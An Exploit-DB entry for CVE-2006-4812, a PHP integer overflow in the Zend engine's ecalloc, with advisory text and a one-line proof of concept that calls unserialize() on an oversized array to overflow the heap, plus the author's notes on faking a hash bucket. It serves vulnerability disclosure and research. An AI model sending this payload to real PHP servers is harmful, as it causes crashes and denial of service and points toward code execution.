PHP 3 < 5 - ZendEngine ECalloc Integer Overflow

Author: anonymous
type: remote
platform: php
port: 
date_added: 2006-10-05
date_updated: 2016-12-02
verified: 1
codes: CVE-2006-4812;OSVDB-29510
tags: 
aliases: 
screenshot_url: 
application_url: http://www.exploit-db.comphp-5.1.6.tar.gz

source: https://www.securityfocus.com/bid/20349/info

PHP is prone to an integer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data.

An attacker can exploit this vulnerability to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

<?

 print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>

in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown...